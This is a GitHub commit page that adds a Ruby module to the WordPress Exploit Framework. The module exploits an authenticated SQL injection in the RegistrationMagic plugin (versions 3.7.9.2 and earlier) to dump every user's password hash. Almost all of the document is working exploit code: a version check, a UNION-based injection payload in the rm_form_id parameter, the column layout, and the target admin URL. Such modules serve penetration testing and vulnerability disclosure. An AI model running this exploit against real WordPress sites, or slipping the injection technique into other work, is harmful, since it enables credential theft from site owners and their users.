Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 81f105c

Browse files
committed
Add RegistrationMagic hash dump
1 parent 8364eff commit 81f105c

File tree

1 file changed

+61
-0
lines changed

1 file changed

+61
-0
lines changed
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Auxiliary::RegistrationMagicHashDump < Wpxf::Module
4+
include Wpxf::WordPress::HashDump
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'RegistrationMagic - Custom Registration Forms <= 3.7.9.2 Authenticated Hash Dump',
11+
desc: %(
12+
RegistrationMagic - Custom Registration Forms <= 3.7.9.2 suffers from an
13+
SQL injection vulnerability which is exploitable by registered users with the
14+
required privileges to manage the plugin.
15+
16+
This module utilises the vulnerability to dump the hashed passwords
17+
of all users in the database.
18+
),
19+
author: [
20+
'Rob Carr <rob[at]rastating.com>' # Disclosure + WPXF module
21+
],
22+
references: [
23+
['URL', 'https://www.rastating.com/registrationmagic-custom-registration-forms-3-7-9-2-authenticated-sql-injection']
24+
],
25+
date: 'Dec 10 2017'
26+
)
27+
end
28+
29+
def check
30+
check_plugin_version_from_readme('custom-registration-form-builder-with-submission-manager', '3.7.9.3')
31+
end
32+
33+
def requires_authentication
34+
true
35+
end
36+
37+
def hashdump_request_params
38+
{
39+
'page' => 'rm_field_manage',
40+
'rm_form_id' => "-#{Utility::Text.rand_numeric(2)} UNION #{hashdump_sql_statement}"
41+
}
42+
end
43+
44+
def hashdump_custom_union_values
45+
values = Array.new(11)
46+
values[4] = 'concat(0x54,0x65,0x78,0x74,0x62,0x6f,0x78)'
47+
values
48+
end
49+
50+
def hashdump_visible_field_index
51+
3
52+
end
53+
54+
def hashdump_number_of_cols
55+
11
56+
end
57+
58+
def vulnerable_url
59+
normalize_uri(wordpress_url_admin, 'admin.php')
60+
end
61+
end

0 commit comments

Comments
 (0)